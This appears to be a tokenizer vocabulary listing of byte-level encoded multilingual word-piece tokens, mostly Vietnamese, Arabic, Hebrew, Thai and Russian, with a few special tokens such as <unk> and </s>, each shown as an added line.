+ÑıÑĤи +ÑıÑĤиÑı +à¹Ģมีย +راتÙĬج +Ġamacı +ש×ķ׾ +ש×ķ׾×Ĺ +สะà¸Ńา +สะà¸Ńาà¸Ķ +פ×Ĵ×¢ +عبة +dın +íħĶ +Ġ×ŀש×Ĺ×§ +Ġfiyat +ĠзаÑı +ĠзаÑıв +à¹Ĥหล +à¹Ĥหลà¸Ķ +à¸ģรุà¸ĩà¹Ģà¸Ĺà¸ŀ +צ×Ļ×Ļף +ìļ± +Ùħب +Ùħباد +landır +ĠвеÑģÑĮ +Ġhük +ĠÐĴоз +ÑĩиÑĤÑĭва +วล +×ķצע +à¸Ĥà¸ĵะà¸Ĺีà¹Ī +ĠaÅŁaģı +׾×IJ×ķ×ŀ×Ļ +trzym +Ã¤ÃŁig +owoÅĽci +ãģĿãĤĤ +ĠrozwiÄħz +ĠgÅĤówn +монÑĤ +×ŀ×ķ×ŀ +ĠÑģÑĤан +ÙĦاÙĤØ© +prowad +prowadzi +ĠÑģоÑģÑĤоÑı +×Ļ×IJ×ķת +rı +gı +ãĥijãĥij +ĠналиÑĩ +×Ķצע +Ġ׳×Ķ +à¸Ħัà¸ļ +عراض +иж +ÙĩائÙĬ +ãĤīãģı +ожеÑĤ +ĠобоÑĢ +ĠобоÑĢÑĥд +أسÙĦ +à¹ĩà¸Ķ +ÑĢÑĥÑĤ +دÙĬÙħÙĤ +دÙĬÙħÙĤرا +Ġjeste +×ķ×ķ×Ļר +×ij×ĵ×Ļ×§ +деÑĢжива +ãģĬãģı +ewnÄĻtr +ewnÄĻtrzn +à¸ŀฤ +Ġ×IJ×ķ×Ķ +ת×Ĺ×ķש +Ġzob +дÑĥм +ĠÑģÑĭ +ÙĬرا +ĠwiÄĻks +à¹ģà¸ķà¸ģà¸ķà¹Īาà¸ĩ +lararas +lararası +íĺĢ +ëī´ +×ķ×Ĵ׾ +ĠоÑĤмеÑĤ +ĠÑĢан +تÙĥÙĦ +иÑĤелÑĮн +à¸Ľà¸£à¸°à¸§à¸± +à¸Ľà¸£à¸°à¸§à¸±à¸ķิ +ìŀĸ +можно +pieczeÅĦ +pieczeÅĦst +못 +ìĬ¨ +×ŀס×ŀ +Ủ +ศิ +ศิล +à¸¨à¸´à¸¥à¸Ľ +ĠÅļw +ãĥĥãĤ·ãĥ§ãĥ³ +unitÃł +Ġmieszka +ĠmieszkaÅĦ +przed +przedsi +przedsiÄĻb +przedsiÄĻbior +à¸Ľà¸£à¸°à¸ªà¸´à¸Ĺà¸ĺิ +à¸Ľà¸£à¸°à¸ªà¸´à¸Ĺà¸ĺà¸´à¸łà¸²à¸ŀ +ยà¹Ī +ìķĻ +รวà¸Ķ +รวà¸Ķà¹Ģรà¹ĩว +å½ĵãģŁãĤĬ +älle +ÑĥеÑĤÑģÑı +ãn +ëłµ +thè +ãĤĴåĪ©ç͍ +ìµľ +íĵ¨ +à¸Ĺัà¸ļ +าà¸Ħม +ãģĩ +ëĤĮ +à¹Ģà¸Ľà¸¥à¹Īา +⦠+ë¾ +êĢ +êĩ +â¡ +ðŁŁ +ãIJ +⺠+áŃ +áĻ +áĵ +á² +ðĵı +ᬠ+⯠+ä¨ +êĿ +ê« +ðij +ðĵĥ +ðĿħ +<unk +<unk> +<s> +</s +</s> +ĠعÙĦÙī +Ġmá»Ļt +ĠvỼi +Ġngưá»Ŀi +ĠØ¥ÙĦÙī +Ġnhững +Ġthá»ĥ +Ġ×IJ×ķ +Ġ×¢×Ŀ +اÙĭ +Ġà¹ģละ +ĠÙĦا +Ġnhư +ĠاÙĦتÙĬ +Ġ×Ķ×ķ×IJ +ĠÄijến +ĠØ£ÙĪ +Ġvá»ģ +ĠlÃłm +Ġsẽ +ĠcÅ©ng +Ġợ +ĠÄijó +Ġnhiá»ģu +Ġtại +Ġtrên +Ġ×Ĵ×Ŀ +ĠnhÃł +Ġ׼×Ļ +Ġsá»± +ĠÄijầu +Ġbá»ĭ +ĠÙĩذا +Ġnhất +Ġphải +Ġhiá»ĩn +Ġdụng +ĠÄijá»Ļng +ĠاÙĦÙĦÙĩ +ĠØĮ +ĠÙĥÙĦ +Ġviá»ĩc +ĠnÄĥm +Ġthì +Ġhá»įc +ĠÙĪØª +té +ĠاÙĨ +Ġtôi +Ġ×IJ׳×Ļ +Ġ׾×Ļ +Ġ×ŀ×ķ +ĠngÃły +ĠnÆ°á»Ľc +Ġ×Ķ×Ļ×IJ +Ġ×IJ×Ļ +ĠhÆ¡n +ĠÙĩذÙĩ +ĠÙĪÙĬ +ĠاÙĦذÙĬ +Ġ×ķ×ŀ +Ġgiá +Ġnhân +ĠchÃŃnh +Ġmình +ĠÐĿа +Ġthế +Ġ×Ļ×ķתר +Ġ×IJ×Ŀ +Ġnên +Ġhợ +Ġhợp +Ġcòn +ĠÙĩÙĪ +ĠcÆ¡ +Ġrất +ĠViá»ĩt +Ġبعد +Ġש×Ļ +Ġthá»Ŀi +Ġcách +ĠÄijá»ĵng +Ġно +Ġtrưá»Ŀng +ØŁ +ĠÄijá»ĭnh +ĠÄijiá»ģu +×Ļ×Ļ×Ŀ +Ġthá»±c +nın +Ġhình +Ġnói +Ġcùng +Ġ×Ķ×Ķ +ĠØ¥ÙĨ +Ġ×IJ×ij׾ +Ġnhưng +Ġbiết +Ġже +Ġchúng +ĠÄijang +ĠذÙĦÙĥ +Ġlên +Ġkhách +ĠnÃło +Ġsá»Ń +Ġkhác +Ġë°ı +Ġlý +×Ļ×Ļ +ĠÄijây +Ġ׾×ŀ +Ġcần +Ġtrình +Ġphát +ãģ«ãĤĤ +по +ĠnÄĥng +Ġbá»Ļ +Ġvụ +ĠÄijá»Ļ +Ñĩе +ĠnháºŃn +ĠtrÆ°á»Ľc +Ġ×¢×ĵ +ĠhÃłnh +ĠØ®ÙĦاÙĦ +Ġlượng +Ġcấp +Ġtá»± +Ġvì +Ġtư +Ġchất +Ġ׼×ŀ×ķ +Ġgì +Ġש׳ +Ġtế +ת×ķ +Ġnghiá»ĩp +Ġmặt +ĠÙĥÙħا +Ġ×ij×Ļף +Ġרק +Ġthấy +Ġmáy +ĠÙģÙī +Ġdân +Ġ×IJ×Ĺ×ĵ +Ġtâm +Ġ׼×ļ +Ġ׾×ķ +во +Ġtác +ĠtoÃłn +ĠÙĪÙħ +Ġkết +Ġหรืà¸Ń +ĠÙĪØ§ÙĦÙħ +ĠÄijiá»ĥm +Ġ×ĸ×ķ +Ġ×ij×ķ +׼×ķת +Ġhá»Ļi +Ġbằng +تÙĩا +Ġ׼×ĵ×Ļ +Ġ×Ķ×Ŀ +Ġxuất +ĠÙĤد +Ġbảo +Ġtá»ijt +Ġtình +ĠÙĩÙĬ +ĠÄijá»iji +Ġthiết +Ġhiá»ĩu +Ġtiếp +Ġtạo +ת×Ķ +Ġchá»§ +oÅĽÄĩ +Ġgiú +Ġgiúp +Ġý +Ġquả +Ġloại +Ġcô +Ġô +Ġông +Ġ×Ķ×ķ +ĠاÙĦÙĬÙĪÙħ +ĠtÃŃnh +га +Ġphòng +ĠÄĥn +ĠعاÙħ +Ġvá»ĭ +larını +rÃŃa +ĠtỼi +ĠÄijưá»Ŀng +ĠgiỼi +Ġbản +Ġcầu +Ġnhiên +Ġbá»ĩnh +Ġthưá»Ŀng +Ġ×IJ×Ļף +ĠÄijá»ģ +Ġhá»ĩ +Ġ×Ļשר×IJ׾ +Ġquá +ĠÐĹа +ãģ®ãģ§ãģĻãģĮ +ĠÐŁÑĢи +Ġphần +ĠÙĪÙĦا +ĠlỼn +Ġtrá»ĭ +Ġcảm +Ġмо +Ġdùng +ĠاÙĦÙī +ĠعÙĦÙĬÙĩ +ĠìŀĪìĬµëĭĪëĭ¤ +ÙĬÙĤ +ĠÙĤبÙĦ +Ġhoặc +ĠØŃÙĬØ« +Ġà¸Ĺีà¹Ī +ĠغÙĬر +ĠÄijại +Ġsá»ijng +нÑĭми +Ġthức +Ġפ×Ļ +ĠÄijiá»ĩn +ãģªãģĭãģ£ãģŁ +Ġgiải +Ġvẫn +ĠиÑħ +Ġönce +ĠváºŃy +Ġmuá»ijn +Ġảnh +à¹ĥà¸Ļà¸ģาร +ĠQuá»ijc +Ġkế +׳×IJ +Ġס×Ļ +Ġyêu +ãģ®ãģĭ +ĠÄijẹ +ĠÄijẹp +Ġchức +Ġyıl +ĠTürkiye +dé +ĠÙĤاÙĦ +Ġdá»ĭch +ĠolduÄŁu +Ġchá»įn +ĠتÙħ +หà¸Ļึà¹Īà¸ĩ +ãģķãĤĮãģŁ +Ġpháp +ìĽĶ +Ġtiá»ģn +ãģĹãģ¾ãģĹãģŁ +Ġש׾×IJ +ÙĦØ© +Ġ׾פ׳×Ļ +Ġ×ij×Ļת +ĠHÃł +ĠØŃت +ĠØŃتÙī +Ġ×¢×ķ×ĵ +Ġnó +Ġtháng +à¹Ģลืà¸Ńà¸ģ +ר×Ķ +ĠtÄĥng +Ġcái +Ġtriá»ĥn +Ġ×IJ×ķת×ķ +ìłģìĿ¸ +ĠCông +Ġ׾×Ķ×Ļ×ķת +Ġгода +иÑİ +Ġبعض +Ġà¸ģาร +èī¯ãģĦ +ÙĪØª +Ġliên +ĠÐĿо +ĠÐĿе +çļĦãģª +ĠÙħت +ĠÑĤакже +ĠкоÑĤоÑĢÑĭе +Ġ×Ļ×ĵ×Ļ +Ġtrá»įng +ãĤµãĤ¤ãĥĪ +ìłģìľ¼ë¡ľ +ĠtáºŃp +Ġש׾×Ļ +íķĺê²Į +ĠtÃłi +ĠЯ +Ġrá»ĵi +اÙĥ +Ġthương +Ġ×Ķ×ĸ×Ķ +ĠÙĪÙħÙĨ +à¸Ĺีà¹Īมี +Ġcuá»Ļc +Ġbüyük +ãģ¨ãģĭ +Ġ×ij×Ļ×ķתר +Ġlần +Ġgöre +Ġtrợ +Ġ×ĺ×ķ×ij +ÑĤÑĮÑģÑı +Ġthá»ijng +Ġ׼ש +Ġtiêu +Ġ×ŀ×IJ×ķ×ĵ +ØĽ +kÄħ +Ġà¹ĥà¸Ļ +Ġvấn +Ġש׾×ķ +ĠÄijá»ģu +ÙģØª +Ġê²ĥìĿ´ +Ġhóa +ĠاÙĦعاÙħ +ĠÙĬÙĪÙħ +кой +Ġbiá»ĩt +ÑģÑĤо +Ġ×Ķ×Ļ×ķ +à¸Ĺีà¹Īà¸Īะ +Ġ×ĵ×Ļ +Ġ×IJ×ļ +Ġán +صÙĪØ± +ĠtrÃŃ +ĠÐŁÑĢо +Ġlá»±c +ãģĹãģ¦ãģĦãģ¾ãģĻ +ĠbÃłi +Ġ×ĸ×IJת +Ġbáo +à¸ļà¸Ļ +ĠëĮĢíķľ +Ġtiế +Ġtiếng +Ġbên +ãģķãĤĮãĤĭ +sión +Ġtìm +×¢×ķ +mé +ниÑı +ãģ»ãģ© +Ġà¹Ģà¸ŀราะ +بة +Ġë¶Ħ +Ġ×IJ×ĸ +à¸Ĺà¹Īาà¸Ļ +ת×Ŀ +Ġthêm +Ġhoạt +yı +×ĸ×ķ +Ġgiá»Ŀ +Ġbán +à¸Ĥาย +Ñĩа +Ġà¹Ĩ +ĠاÙĦÙħت +ĠоÑĩенÑĮ +Ġbất +Ġtrẻ +ÑĤÑĢ +ĠØ£ÙĨÙĩ +ĠØ«Ùħ +Ġ׼×ŀ×Ķ +Ġkhó +Ġrằng +ĠÙĪÙģÙĬ +ний +ĠhoÃłn +tó +Ġ×IJשר +ĠìĥĿê°ģ +Ñģа +Ġ׼×ijר +ĠÑįÑĤом +larının +Ġchưa +зи +Ġdẫn +ĠÐļак +جÙĪ +ĠбÑĭло +ĠÙĬت +nı +ÅĤam +ĠÙĪÙĩÙĪ +×ij×ķ +пи +רת +Ġquá»ijc +жд +ĠÄijÆ¡n +Ùĥتب +Ġmắt +ระà¸ļ +ระà¸ļà¸ļ +ĠÙĥاÙĨت +Ġthân +สิà¸Ļà¸Ħà¹īา +×Ĵ×Ļ +Ġphương +à¹Ħมà¹Īà¹Ħà¸Ķà¹ī +ĠìĦ± +ĠCác +Ġ×Ķ×ŀ×ķ +ĠÑĤем +Ġ×ĵ×ķ +à¸Ńะà¹Ħร +ĠvÄĥn +ãģªãģ®ãģ§ +ĠNá»Ļi +Ġ×¢×ķ +ãĤīãĤĮãĤĭ +Ġsáng +Ġgöster +ãģĵãģ¨ãĤĴ +Ġtarafından +Ġма +ĠпоÑģле +Ġ׳×Ļת +Ġ׳×Ļ×ª×Ł +ĠлеÑĤ +Ġ׾׳×ķ +ÑģÑģ +Ġ×Ļ×ķ +пе +ĠÙĪÙĦÙĥ +ĠÙĪÙĦÙĥÙĨ +ĠngoÃłi +ĠÄijá»ĭa +rzÄħd +dziaÅĤ +ĠÙħر +иÑĤÑĮÑģÑı +Ġ×IJ×Ĺר×Ļ +Ġ׾׼׾ +à¸Ĥà¹īà¸Ńม +à¸Ĥà¹īà¸Ńมูล +Ġбол +Ġболее +جÙħع +леÑĤ +Ġlá»ĭch +ĠÙħØ«ÙĦ +Ġê·¸ë¦¬ê³ł +Ġthứ +ĠdeÄŁil +ÙĪØŃ +Ġש׾×ļ +ĠÙħØŃÙħد +Ġnếu +ĠÄijá»ķi +Ġvừa +Ġmá»įi +Ġони +Ġlúc +ĠÙĬÙĥÙĪÙĨ +ì§Ī +Ġש׾׳×ķ +ĠÐĶо +Ġש׳×Ļ +ลิ +×IJפשר +Ġsức +ê¶Į +Ġứng +à¹Ħมà¹Īมี +Ø·ÙĦب +ĠÑĩем +Ġchuyên +ĠthÃŃch +Ġ×ķ×Ļ +íķ© +ĠÙħصر +до +ĠÄijất +Ġchế +à¸Ĭืà¹Īà¸Ń +Ġìĭł +Ġإذا +ĠرئÙĬس +Ġש×Ļש +Ġgiảm +Ñģка +larında +Ġsợ +ĠtÃŃch +ĠÙĦÙĥÙĨ +ĠبÙħ +×¢×ķ×ij +×¢×ķ×ij×ĵ +ÅĤÄħcz +larına +Ġש×Ŀ +ĠÙĦت +Ġש×Ķ×ķ×IJ +tów +Ġëĭ¤ë¥¸ +ĠØ£Ùĥثر +ãģ®ãģ§ãģĻ +׼×Ļ×Ŀ +ĠolduÄŁunu +ãģĭãģª +ãĤĤãģĨ +ÙĬØŃ +Ġnhìn +Ġnghá»ĩ +ãģ«ãģªãģ£ãģ¦ +па +Ġquyết +ÙĦÙĤ +tá +Ġluôn +ĠÄijặc +Ġ×IJר +Ġtuá»ķi +são +ìϏ +رد +ĠبÙĩا +Ġ×Ķ×Ļ×ķ×Ŀ +×ķ×ķ×Ļ +ãģ§ãģĻãģŃ +ĠÑĤого +Ġthá»§ +ãģĹãģŁãģĦ +رÙĤ +Ġbắt +гÑĥ +Ġtá»Ń +ÑĪа +Ġà¸Ľà¸µ +Ġ×Ķ×IJ×Ŀ +íı¬ +ża +Ġ×IJת×Ķ +Ġná»Ļi +ĠphÃŃ +ĠÅŁekilde +Ġlá»Ŀi +dıģı +Ġ׼×IJף +Ġtüm +Ġmạnh +ĠMỹ +ãģĿãĤĵãģª +Ġnhá»ı +ãģªãģĮãĤī +Ġbình +ıp +à¸ŀา +ĠÄijánh +ĠÙĪÙĦ +ר×ķת +Ġ×IJ×Ļ×ļ +Ġchuyá»ĥn +Ùĥا +ãĤĮãĤĭ +à¹ģมà¹Ī +ãĤĪãģı +ĠÙĪÙĤد +íĸĪëĭ¤ +ĠnÆ¡i +ãģ«ãĤĪãģ£ãģ¦ +Ġviết +Ġà¹Ģà¸ŀืà¹Īà¸Ń +ëIJĺëĬĶ +ادÙĬ +ĠÙ쨥ÙĨ +ì¦Ŀ +ĠÄijặt +ĠhÆ°á»Ľng +Ġxã +Ġönemli +ãģłãģ¨ +Ġmẹ +Ġ×ij×Ļ +Ġ×ĵ×ijר +ĠváºŃt +ĠÄijạo +Ġdá»±ng +ĠÑĤом +ĠÙģÙĬÙĩا +ĠجÙħÙĬع +ĠthuáºŃt +stÄĻp +Ġtiết +Ø´ÙĬ +ĠеÑīе +ãģĻãĤĭãģ¨ +ĠmÃłu +ĠÑįÑĤого +Ġvô +ĠÐŃÑĤо +ĠtháºŃt +Ġnữa +Ġbiến +Ġnữ +Ġ׾׼×Ŀ +×Ļ×Ļף +Ġست +ĠÐŀÑĤ +Ġphụ +ê¹Įì§Ģ +Ġ׾×ļ +Ġkỳ +à¹ĥà¸Ħร +Ġgây +ĠÙĦÙĦÙħ +Ġtục +تÙĬÙĨ +Ġtrợ +Ġ׾פ×Ļ +Ġbá»ij +ĠÐļа +ĠÄijình +owÄħ +sında +Ġkhiến +sız +Ġкогда +×¡×ľ +ĠбÑĭл +à¸Ļà¹īà¸Ńย +обÑĢаз +Ġê²ĥìĿ´ëĭ¤ +ëĵ¤ìĿĢ +ãģ¸ãģ® +Ġà¹Ģมืà¹Īà¸Ń +Ġphục +Ġ×Ĺ׾ק +Ġhết +ĠÄija +à¹Ģà¸Ķà¹ĩà¸ģ +íĺķ +lÃŃ +ê¸ī +Ġعدد +ĠÄijá»ĵ +Ġgần +Ġ×Ļ×ķ×Ŀ +ĠsÄ© +ÑĢÑıд +Ġquyá»ģn +Ġ×IJ׾×IJ +ÙĩÙħا +׳×Ļ×Ķ +׾×ķת +Ġ×Ķר×ij×Ķ +Ġtiên +Ġalın +Ġdá»ħ +人ãģĮ +ноÑģ +лÑģÑı +ĠÄijưa +สาว +иÑĢован +Ġ×ŀספר +×Ĵף +Ġkiến +ĠШ +pé +бÑĥ +овой +ба +ĠØ¥ÙĦا +×IJ׾×Ļ +Ġxây +Ġbợi +Ġש×ķ +人ãģ® +×§×Ļ×Ŀ +à¹Ģà¸Ķืà¸Ńà¸Ļ +Ġkhá +Ġ×ķ׾×Ķ +×ĵ×ķת +Ġ×¢×ij×ķר +ĠبشÙĥÙĦ +ĠÙĩÙĨاÙĥ +ÑĤÑĢа +ĠíķĺëĬĶ +รà¸Ńà¸ļ +owaÅĤ +hé +Ġdiá»ħn +Ġ×Ķ׼׾ +Ġأس +Ġchuyá»ĩn +ระà¸Ķัà¸ļ +ĠNhững +Ġ×IJ×Ĺת +ĠØŃÙĪÙĦ +лов +׳ר +Ġ×ķ׳ +ĠchÆ¡i +Ġiçinde +ÑģÑĤвÑĥ +Ġphá»ij +ĠÑģÑĥ +ç§ģãģ¯ +Ġchứng +Ġvá»±c +à¹ģà¸Ń +ĠláºŃp +Ġtừng +å°ijãģĹ +ĠNguy +ĠNguyá»ħn +ĠÙģÙĬÙĩ +Ġба +×Ļ×Ļת +Ġ×ľ×¢×©×ķת +Ġ×ŀ׼ +Ġnghiá»ĩm +Ġмного +Ġее +ëIJĺìĸ´ +Ġlợi +Ġ׾׾×IJ +Ġ׼ף +ĠchÃŃ +ãģ§ãģ® +×Ĺ×ķ +ש×ķ×Ŀ +Ġ×ŀר +ĠÐĶлÑı +Åģ +Ġ׼×IJשר +ĠMá»Ļt +ĠÙĪØ§ÙĦت +ĠìĿ´ëٰ +ÅŁa +Ġchiến +Ġarasında +Ġ×ij×IJתר +ãģķãĤĮãģ¦ãģĦãĤĭ +Ø´ÙĥÙĦ +Ġtượng +Ġتت +ĠCó +Ġbá»ı +Ġtá»īnh +ĠkhÃŃ +ĠпÑĢоÑģÑĤ +ĠпÑĢоÑģÑĤо +ĠÙĪÙĤاÙĦ +Ġgiáo +ĠNếu +×IJ×ŀר +×¢×ł×Ļ×Ļף +íݸ +ÙĩدÙģ +ĠBá»Ļ +ĠbÃłn +Ġnguyên +Ġgüzel +สาย +ì²ľ +×ŀ×ķר +Ġphân +ספק +×§×ij׾ +ĠاÙĦÙħتØŃ +ĠاÙĦÙħتØŃدة +ائد +Ġ×IJ×ŀר +ĠkiÅŁi +ì¤Ģ +Ġtruyá»ģn +ĠÙĦÙĩا +ĠÐľÐ° +à¸ļริษ +à¸ļริษั +à¸ļริษัà¸Ĺ +Ġש׳×Ļ×Ŀ +ĠменÑı +ÅŁe +Ġdiá»ĩn +Ġ×IJ׳×Ĺ׳×ķ +kü +Ġcá»ķ +Ġmá»Ĺi +wä +ÙħÙĬ +Ġhiá»ĥu +ëĭ¬ +Ġ×Ķ×Ĺ׾ +Ġtên +Ġkiá»ĩn +ÙĨÙĤÙĦ +Ġvá»ĩ +×ĵת +ĠÐłÐ¾ÑģÑģии +лÑĥ +ĠاÙĦعربÙĬØ© +ĠطرÙĬÙĤ +Ġ×Ķ×ij×Ļת +ÑģеÑĢ +Ġмне +äu +Ġtriá»ĩu +ĠÄijá»§ +Ġר×ij +تÙĩÙħ +à¸ĭี +Ġì§Ģê¸Ī +liÅĽmy +دعÙħ +ãģłãĤįãģĨ +Ñģкие +Ġhá»ıi +Ġ×§×ķ +ÑĢÑĥÑģ +ÙĨظر +ãģ®ãĤĤ +Ġ×Ķ׼×Ļ +ĠìĽIJ +ÙĪÙĩ +ĠÙĪÙİ +ĠBạn +плаÑĤ +Ġ×ŀ×ŀש +лÑİб +ĠнÑĥжно +Ġthư +ãģµ +ãģıãĤīãģĦ +رش +ר×ķ×Ĺ +ĠÙĬتÙħ +Ġצר×Ļ×ļ +Ġphá +มà¸Ńà¸ĩ +Ġ×ij×IJ×ķפף +Ġcảnh +Ġíķľëĭ¤ +Ġ×Ķ×ŀת +à¸ķà¹Īาà¸ĩà¹Ĩ +มีà¸ģาร +ÑģкиÑħ +ĠÐĴÑģе +ĠاÙĪ +جÙĬ +ãģĵãģ¨ãģ¯ +ĠdÃłi +Ġhá»ĵ +èĩªåĪĨãģ® +à¹Ħหà¸Ļ +ëĵ¤ìĿĦ +ĠVÄĥn +Ġдаж +Ġдаже +Ñĭми +лаÑģÑĮ +ÙĬÙĪÙĨ +ÙĨÙĪ +có +ãģĹãģ¦ãģĦãģŁ +ãģłãģĭãĤī +طاÙĦب +Ġcá»Ńa +пÑĢоÑģ +ãģªãģ©ãģ® +รุà¹Īà¸Ļ +Ġchiếc +лÑĭ +ĠÑıвлÑıеÑĤÑģÑı +Ġná»ķi +ãģ®ãģĬ +Ġ×IJת×Ŀ +ĠëķĮ문ìĹIJ +à¸ģลาà¸ĩ +ĠbaÅŁka +ìĦĿ +ĠÑĨел +ÙģÙĤ +ãģ«ãĤĪãĤĭ +ÙĤا +Ġçıkar +Ġcứu +طا +Ġשת +à¹Ĥà¸Ħ +Ġ×ŀ׾ +Ġ×Ķפר +Ġгде +Ġخط +åīįãģ« +cjÄĻ +Ġ×Ĺש×ķ×ij +ר×Ĵ×¢ +Ġkhoảng +ĠÄijá»Ŀi +ĠÐłÐµ +Ġона +Ġ×IJ׳×ķ +ãģ®ãģ« +ĠاÙĦذÙĬÙĨ +кÑĥп +ãĤµãĥ¼ãĥ +ãĤµãĥ¼ãĥĵ +ãĤµãĥ¼ãĥĵãĤ¹ +вал +ге +Ġgiữa +ĠKhông +ĠâĹĭ +à¸ģลุà¹Īม +ĠÙħÙĨذ +à¸Ńà¹Īาà¸Ļ +ĠÑģпоÑģоб +ĠÄijá»Ļi +ĠdiÄŁer +Ġà¸ĸà¹īา +ÙħØ«ÙĦ +Ġ×Ķ×IJ×Ļ +ĠدÙĪÙĨ +ÙĬراÙĨ +Ñīи +بÙĨاء +Ġآخر +ظÙĩر +Ġ×ij׼ +ĠاÙĦÙħع +ãĥĴ +Ġtất +Ġmục +ĠdoÄŁru +ãģŁãĤī +Ġס×ķ +Ġxác +รà¸Ń +ĠcÄĥn +Ġонл +Ġонлайн +Ġký +Ġchân +Ġà¹Ħมà¹Ī +اØŃØ© +rán +׳×Ļ×Ļ×Ŀ +Ġ×ijף +ĠÐĸ +à¸ķรà¸ĩ +дÑĭ +Ġsắc +ÙĦت +ãĥŃãĥ¼ +ĠÙĦÙĨ +Ġר×ķ +ĠdÆ°á»Ľi +à¹Ģà¸ĺ +à¹Ģà¸ĺà¸Ń +eÄŁi +Ġ×ķש +ĠÙĦØ£ +Ġgặp +Ġcá»ij +ãģ¨ãģ¦ãĤĤ +رÙĪØ³ +Ġ׾×Ķ×Ļ +Ġ본 +ä¸ĬãģĴ +Ġmức +Ñħа +Ġìŀ¬ +à¸īัà¸Ļ +ÑĢÑĥж +Ġaçık +ÙĪØ§ÙĦ +Ġ×ĸ×ŀף +人ãģ¯ +عÙĬÙĨ +ÑıÑħ +Ġ×Ĵ×ĵ×ķ׾ +ר×ķ×ij +gó +ëĿ¼ê³ł +ĠarkadaÅŁ +ÙĨشر +ĠгодÑĥ +ĠболÑĮÑĪе +ãģ¡ãĤĩãģ£ãģ¨ +Ġcâu +Ġsát +íͼ +Ġtiến +íķ´ìķ¼ +ĠÙĪØ£ÙĨ +à¸Ļาà¸Ļ +Ġ×ij×IJ×ŀצע +Ġ×ij×IJ×ŀצע×ķת +Ġ׾ר +Ġquản +ĠÙĪØ§ÙĦØ£ +Ġ×IJ×ķת×Ķ +Ġìĸ´ëĸ¤ +Ġê²ĥìĿĢ +ØŃسÙĨ +Ġmất +à¸Ħูà¹Ī +ãĥ¬ãĥ¼ +ĠÐĶа +Ġolması +Ġthuá»Ļc +׳×Ĺ +íĨł +Ġsöyle +ãģĿãģĨãģ§ãģĻ +ĠتÙĥÙĪÙĨ +лÑĥÑĩ +׾×Ļ×ļ +ĠØ£ØŃد +лиÑģÑĮ +ĠвÑģего +Ġ×Ķר×ij +Ġ못 +oÄŁ +oÄŁlu +ĠìĦł +ĠкаÑĢ +à¸łà¸²à¸Ħ +eÅĦ +Ġà¸ģà¹ĩ +Ġaynı +ĠbÃł +ãģªãĤĵãģ¦ +Ġ모ëĵł +ÙĤرار +ãģĹãģªãģĦ +ĠÐĴо +ĠÙĪÙĩÙĬ +ники +ãĤĮãģŁ +Ġchuẩn +רע +Ù쨱ÙĬÙĤ +ãĤĴåıĹãģij +ĠÄijúng +бе +׼×ķ×Ĺ +пÑĥ +Ġ×ķ×Ĵ×Ŀ +×ŀ׳×Ļ +íĸ¥ +צ×Ļ×Ŀ +à¸ĭิ +ÙĩÙĨ +нем +Ġ×ij×ij×Ļת +رع +Ġส +ĠÄIJÃł +íķĺëĭ¤ +Ġấy +×Ĺ×ķ×ĵ +×Ĺ×ķ×ĵש +ĠÑĩеÑĢез +Ñĥл +ĠBình +Ġê²ĥìĿĦ +Ġ×Ĵר +ä»ĺãģij +×Ĺ׾ק +ĠتÙĦÙĥ +à¹ĥสà¹Ī +szÄħ +ÙĤاÙħ +دÙĪØ± +ĠÙģÙĤØ· +Ġhữu +ĠмогÑĥÑĤ +Ġgá»įi +Ġקר +à¸Īะมี +تÙĤدÙħ +Ġعبر +Ġ׾×Ķ×Ŀ +ĠÑģамо +ס×ĵר +ĠcÃłng +rÃŃ +Ġìŀ¥ +ëĵ¤ìĿĺ +ĠÙĦÙĥ +поÑĢÑĤ +Ġkhả +ĠÑģебÑı +׳ף +ĠدÙĪØ± +Ġmợ +Ġcây +Ġfark +Ġfarklı +аÑİÑĤ +Ġtrá»±c +wiÄĻksz +Ġthuá»ijc +ĠتØŃت +تÙĦ +овÑĭе +ëĤł +Ġвам +بÙĦغ +Ġê°ĻìĿĢ +íĮIJ +ÙĦب +Ġnasıl +Ġодин +ман +ĠعÙĦÙĬÙĩا +би +Ġפש×ķ×ĺ +×ijר×Ļ +Ġש׳×Ķ +ĠëıĦ +ĠÄIJại +Ġ×IJ×ķת×Ŀ +ĠاÙĦØŃر +Ġбо +à¸Īุà¸Ķ +Ġrõ +ĠdeÄŁiÅŁ +Ġëĭ¨ +ĠÑģлÑĥÑĩа +ĠÑģлÑĥÑĩае +Ġ×IJ׳ש×Ļ×Ŀ +×ĵ×£ +ש×ijת +Ġש׾׼×Ŀ +Ġchú +ników +Ġtanı +Ġcáo +ĠÄijá +Ġ×IJ×ĵ×Ŀ +Ġê°ķ +Ġnhiá»ĩm +Ġ×ľ×¡ +Ġ×Ľ×ª×ij +Ġ×Ķספר +ĠÄijÄĥng +ĠëijIJ +à¸ľà¸´ +à¸ľà¸´à¸§ +جا +Ġê°IJ +رأ +ستخدÙħ +ãģ«ãģªãĤĬãģ¾ãģĻ +Ġtá»· +×ĺ×ķר +говоÑĢ +ĠвоÑģ +ĠÙħÙĨÙĩا +иÑĢоваÑĤÑĮ +ĠÄijầy +׳×Ĵ +ĠÙħÙĪ +ĠÙħÙĪÙĤع +ר׼×Ļ +تÙı +모 +Ġת×ķ +ÙĬاÙĭ +à¹ĥà¸Ķ +ãĤĬãģ¾ãģĻ +à¸Ńยูà¹Īà¹ĥà¸Ļ +ĠØ£ÙĪÙĦ +ĠأخرÙī +Ġcư +صار +×ŀ×Ĺש×ij +бÑĢа +ÅĦski +бÑĢ +ĠÙĬÙı +à¸ģิà¸Ļ +Ġchá»ijng +ÙħÙı +Ġà¸Ħืà¸Ń +ĠتÙĨ +tÃŃ +yÄĩ +Ġmạng +ÙģÙĪ +Ġdünya +קר×IJ +Ġק׾ +ĠØŃاÙĦ +cÃŃa +Ġà¹Ģรา +Ġר×ķצ×Ķ +Ġáp +ë°ķ +اÙĤØ© +ниÑİ +Ġ×IJ׾×ķ +Ġ×ŀס×ķ +ãģ§ãģ¯ãģªãģı +Ġtrả +Ġקשר +miÅŁtir +Ġlưu +Ġhá»Ĺ +ĠбÑĭли +Ġlấy +عÙĦÙħ +Ġözel +æ°ĹãģĮ +Ġ×ĵר×ļ +Ùħد +sını +׳×ķש×IJ +rów +ÑĩеÑĢ +êµIJìľ¡ +ĠÐľÐ¾ +лег +ĠVỼi +วัà¸Ļà¸Ļีà¹ī +ÑİÑīие +ãģĬãģĻ +ãģĬãģĻãģĻ +ãģĬãģĻãģĻãĤģ +ëıħ +Ġ×Ļ×Ķ×Ļ×Ķ +×ŀ×ĺר +Ñıми +Ġlá»±a +ĠÄijấu +à¹Ģสียà¸ĩ +Ġtương +ëĵ± +ĠÑģÑĤаÑĢ +à¹ĥà¸ļ +วัà¸Ķ 